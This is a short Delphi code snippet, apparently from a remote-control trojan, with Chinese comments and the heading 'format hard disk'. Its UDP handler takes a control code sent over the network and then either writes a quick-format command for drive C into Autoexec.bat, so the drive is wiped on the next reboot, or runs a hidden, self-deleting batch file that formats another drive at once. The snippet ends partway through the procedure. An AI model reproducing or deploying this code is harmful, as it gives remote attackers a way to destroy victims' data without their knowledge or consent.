格式化硬盘

procedure TForm1.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..250] of char;
Trun:string;
hDesktop : Thandle;
forc,ford:textfile;
//向Autoexec.bat写格式化命令
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);
// 读取控制码
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]='fordis' then
//格式化磁盘
if CtrlCode[6]='c' then
//格式化系统盘，将命令写入autoexec.bat，重起后生效
begin
assignfile(forc,'c:\Autoexec.bat');
rewrite(forc);
writeln(forc,'@echo off');
writeln(forc,'format c:/q');
// /q快速格式化
writeln(forc,'echo y|format c:/q >nul');
//在Dos shell控制台下显示格式化信息
closefile(forc);
end
else
//格式化其它磁盘，将命令写入批处理文件，立即执行
begin
assignfile(ford,'c:\a.bat');
rewrite(ford);
writeln(ford,'@echo off');
writeln(ford,'format '+CtrlCode[6]+':/q');
writeln(ford,'@del %0');
closefile(ford);
winexec('c:\a.bat',sw_hide);
//开始格式化
end;